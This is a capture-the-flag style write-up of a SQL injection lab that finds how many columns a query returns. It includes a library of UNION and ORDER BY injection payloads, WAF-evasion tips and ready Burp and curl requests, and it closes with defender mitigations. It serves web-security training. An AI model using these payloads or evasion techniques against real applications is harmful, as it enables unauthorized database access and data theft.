SQL injection UNION attack, determining the number of columns returned by the query

SQLi UNION — Determining Column Count (ENHANCED)

🎯 Objective

Identify how many columns are returned by the vulnerable category query using a UNION-based SQL injection. This is the first step required to align subsequent UNION payloads and is a prerequisite for dumping data in later labs.

🧭 Strategy (TL;DR)

1. Confirm injection point in category parameter (visible in /filter?category= requests).
2. Use ORDER BY n to binary/progressive search the column count (HTTP 500/redirect/change indicates overflow).
3. Confirm with UNION SELECT NULL, ... by adding NULLs until the response renders without error.
4. (Optional) Identify printable columns & types using test literals (e.g., 'a', 1) to speed up future UNION attacks.

Lab solved when you return one extra row with all NULL values via UNION with the correct number of columns.

🧪 Lab Context & Symptoms

• Vulnerable endpoint: GET /filter?category=<VALUE>
• Returns product listings for a category; backend runs a SELECT ... FROM products WHERE category = '<VALUE>'
• Union-based SQLi confirmed when injected expressions affect rendering/errors.
• Your findings:
  • ORDER BY probing suggests 3 columns (500 Internal Server Error at ORDER BY 4).
  • Datatype probing with ' UNION SELECT 1,'a',2 -- renders, confirming 3 columns with printable text at column 2.
  • DB flavor (from your later tests): PostgreSQL via version() evidence.

Screenshots (as captured):

• Column count & data types
  
  
• Version check (PostgreSQL)
  
• UNION-NULL confirmation
  

🧩 Methodology

Step 1 — Column Count via ORDER BY

Increase n until the server errors (or the UI changes) to find the maximum valid column index.

Example (generic, with inline comment):

GET /filter?category=Gifts' ORDER BY 1 -- 
GET /filter?category=Gifts' ORDER BY 2 -- 
GET /filter?category=Gifts' ORDER BY 3 -- 
GET /filter?category=Gifts' ORDER BY 4 --  ← 500 means only 3 columns exist

Tip (when -- fails): try DB-specific comments:

• MySQL / MariaDB: --+ or #
• PostgreSQL: -- only (line comment)
• Oracle: -- or /* ... */
• SQL Server: --

Result: Column count = 3

Step 2 — Confirm with UNION SELECT NULL,...

Return one extra row consisting entirely of NULL values. Use exactly the same number of columns.

GET /filter?category=Gifts' UNION SELECT NULL,NULL,NULL -- 

• If still errors → adjust the number of NULLs to match the count found in Step 1.
• A successful render confirms alignment and solves the lab objective.

Step 3 (Optional) — Identify Printable Columns / Types

This helps future labs (e.g., dumping username,password). Replace NULLs with test literals:

GET /filter?category=Gifts' UNION SELECT 1,'a',2 -- 

• Any column that prints on page is a good target for text (e.g., usernames, banners).
• If type mismatch errors occur, mix 'a' vs 1 to learn column types.

Step 4 (Optional) — Verify DB & Helpers

Useful for later exploitation but not required to solve this lab.

PostgreSQL example:

GET /filter?category=Gifts' UNION SELECT 1,version(),2 -- 

Expected: string showing PostgreSQL version (as you observed).

🧪 Ready-to-Use Payload Library

A) Column Count (progressive)

' ORDER BY 1 -- 
' ORDER BY 2 -- 
' ORDER BY 3 -- 
' ORDER BY 4 --  ← error here ⇒ 3 columns total

B) Column Count (binary search pattern)

Use halves to converge faster on large SELECT lists:

' ORDER BY 8 -- 
' ORDER BY 4 -- 
' ORDER BY 2 -- 
' ORDER BY 3 --   ← final

C) UNION with NULLs

' UNION SELECT NULL --           (1 col)
' UNION SELECT NULL,NULL --      (2 cols)
' UNION SELECT NULL,NULL,NULL -- (3 cols)  ← success here

D) Data-type probing

' UNION SELECT 1,'a',2 -- 
' UNION SELECT 'a','b','c' -- 
' UNION SELECT 'a',1,'c' -- 

E) Comment variants (handy when filters bite)

--      (end-of-line comment; common)
--+     (URL-encoded space to ensure comment)
#       (MySQL/MariaDB)
/*...*/ (block comment; Oracle/MSSQL/MySQL/PG)

🧰 Burp & cURL Examples

Burp Repeater (raw)

GET /filter?category=Gifts' UNION SELECT NULL,NULL,NULL -- HTTP/2
Host: TARGET
Cookie: session=...
User-Agent: ...
Accept: text/html

cURL (URL-encoded)

curl -i "https://TARGET/filter?category=Gifts%27%20UNION%20SELECT%20NULL,NULL,NULL%20--%20"

🐛 Common Pitfalls

• Wrong comment syntax → the rest of the real query breaks your payload. Adjust comment style.
• WAFs: URL-encode spaces (%20), newlines (%0a), and experiment with casing or inline comments.
• Implicit casting: Some DBs coerce types silently; still verify printable columns early.

✅ What Solves This Lab

A request that successfully returns an extra row of all NULLs via a UNION with the correct number of columns (here: 3). Example:

GET /filter?category=Gifts' UNION SELECT NULL,NULL,NULL -- 

🔒 Mitigations (for defenders)

• Use parameterized queries / prepared statements everywhere.
• Enforce allow-lists for category names; avoid dynamic SQL.
• Apply least-privilege DB accounts; restrict UNION abuse value.
• WAF as a last resort; rely on secure coding first.

📚 References

• PortSwigger Academy – SQLi UNION attacks: https://portswigger.net/web-security/sql-injection/union-attacks
• SQLi cheat sheet (DB-specific syntax): https://portswigger.net/web-security/sql-injection/cheat-sheet

🧾 Appendix: Your Evidence Recap

• Column count via 500 error at ORDER BY 4 ⇒ 3 columns.
• UNION data-type probing: 1,'a',2 works.
• DB flavor confirmed via version() ⇒ PostgreSQL.
• Final lab action: UNION SELECT NULL,NULL,NULL returns clean response (extra row), satisfying the objective.